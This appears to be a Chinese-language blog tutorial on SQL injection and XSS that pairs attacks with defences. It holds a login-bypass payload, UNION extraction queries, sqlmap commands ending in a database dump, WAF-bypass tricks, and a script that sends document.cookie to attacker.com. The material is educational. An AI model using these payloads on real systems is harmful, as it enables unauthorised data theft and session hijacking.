
前言信息安全领域有一条铁律一切输入都是有害的。然而在真实的开发场景中我们依然能看到无数因过滤不严导致的漏洞。据OWASP开放式Web应用程序安全项目统计注入类漏洞和XSS漏洞常年占据Top 10榜单。为什么它们生命力如此顽强因为业务复杂性和开发者的安全盲区往往让漏洞有机可乘。今天我将抛开枯燥的理论直接上实战通过手工注入、SQLMap自动化、XSS三种类型的演示让你彻底看清攻击者的思路从而写出更安全的代码。免责声明本文所有技术演示仅用于学习和授权测试请勿对未授权的目标进行任何攻击行为。一、SQL注入从“万能密码”到数据库沦陷SQL注入的本质是将不可信的数据拼接到SQL语句中改变原有语义。我们先从一个经典的登录场景开始。1.1 手工注入从“万能密码”开始假设后台登录SQL语句是这样的php$sql SELECT * FROM users WHERE username$username AND password$password;攻击者在用户名输入框中输入textadmin --密码随意。最终拼出的SQL变成sqlSELECT * FROM users WHERE usernameadmin -- AND passwordxxx--是MySQL的注释符后面内容被忽略。如果存在admin用户即可绕过密码验证登录。进阶利用联合查询当页面有正常数据显示时攻击者可以通过UNION查询获取额外信息。例如text UNION SELECT 1,2,3,4,5 --通过不断尝试列数找到显示位后就能拖出数据库名、表名、字段名text UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase() --1.2 SQLMap自动化注入神器手工注入耗时长SQLMap可以极大提升效率。一个典型的使用流程bash# 检测注入点 sqlmap -u http://target.com/article.php?id1 --batch # 获取数据库名 sqlmap -u http://target.com/article.php?id1 --dbs # 获取表名 sqlmap -u http://target.com/article.php?id1 -D dbname --tables # 导出数据 sqlmap -u http://target.com/article.php?id1 -D dbname -T users --dumpSQLMap的强大在于它支持多种注入技术布尔盲注、时间盲注、报错注入等并能自动绕过简单的WAF规则。1.3 防御从根源切断注入根本方案使用预编译Prepared Statement或参数化查询。以Java为例javaString sql SELECT * FROM users WHERE username ? AND password ?; PreparedStatement pstmt connection.prepareStatement(sql); pstmt.setString(1, username); pstmt.setString(2, password); ResultSet rs pstmt.executeQuery();此时用户输入永远只被当作数据不会改变SQL结构。永远不要使用拼接SQL的方式二、XSS悄无声息的会话劫持XSS跨站脚本攻击的核心是往页面中注入恶意脚本当其他用户浏览时脚本在受害者浏览器中执行。根据触发方式分为三类。2.1 反射型XSS攻击者将恶意脚本嵌入URL参数诱导用户点击。例如texthttp://victim.com/search?qscriptalert(xss)/script如果服务端直接将q参数输出到HTML中就会弹框。这看似无害但真正的恶意脚本会窃取Cookie或发起恶意请求。利用场景窃取Cookie并发送到攻击者服务器。htmlscript fetch(http://attacker.com/steal?cookie document.cookie); /script2.2 存储型XSS这是危害最大的XSS类型。恶意脚本被永久存储在数据库如评论、帖子中任何访问该页面的用户都会中招。案例论坛评论区未过滤script标签攻击者发布包含恶意脚本的评论管理员查看后台时脚本窃取了管理员的Session导致权限沦陷。2.3 DOM型XSS不经过服务端完全由前端JavaScript操作DOM时引入。例如javascriptvar name location.hash.substring(1); document.getElementById(welcome).innerHTML Hello name;如果location.hash包含img srcx onerroralert(1)则会触发XSS。2.4 防御XSS输出编码根据上下文使用合适的编码HTML实体、JavaScript转义等。例如使用htmlspecialchars将转为lt;。CSP内容安全策略通过HTTP头限制脚本来源即使存在注入也无法执行非白名单脚本。HttpOnly Cookie设置HttpOnly标志阻止JavaScript读取Cookie即使XSS也无法窃取。三、进阶思考WAF绕过与安全开发生命周期3.1 绕过WAF的小技巧在实际渗透测试中经常会遇到WAFWeb应用防火墙。攻击者会通过各种手法绕过大小写混淆ScRiPt绕过简单的正则。编码绕过使用URL编码、Unicode编码。注释混淆/*!50000 UNION*/绕过MySQL特定版本检测。使用SQLMap的tamper脚本sqlmap --tamperspace2comment --level 53.2 安全开发防患于未然对于开发者而言真正的安全感不是依赖WAF而是在代码层面杜绝漏洞。建议输入验证严格校验数据类型、长度、格式。输出编码根据输出位置进行转义。使用安全框架如Spring Security、Django自带防御。定期安全审计使用工具SonarQube、Checkmarx扫描代码。SDL安全开发生命周期将安全融入需求、设计、编码、测试各阶段。四、总结SQL注入和XSS虽然历史久远但至今仍是Web安全的头号杀手。通过今天的实战我们看到SQL注入的本质是数据与代码混淆解决方案是参数化查询。XSS的本质是不可信数据污染了前端环境解决方案是输出编码 CSP。作为技术人我们既要懂攻击原理也要掌握防御之道。在攻防博弈中唯有不断学习最新的漏洞趋势才能构建更安全的网络环境。最后推荐一些学习资源在线靶场DVWA、PortSwigger Web Security Academy实战平台HackTheBox、Bugcrowd University工具Burp Suite、SQLMap、Nmap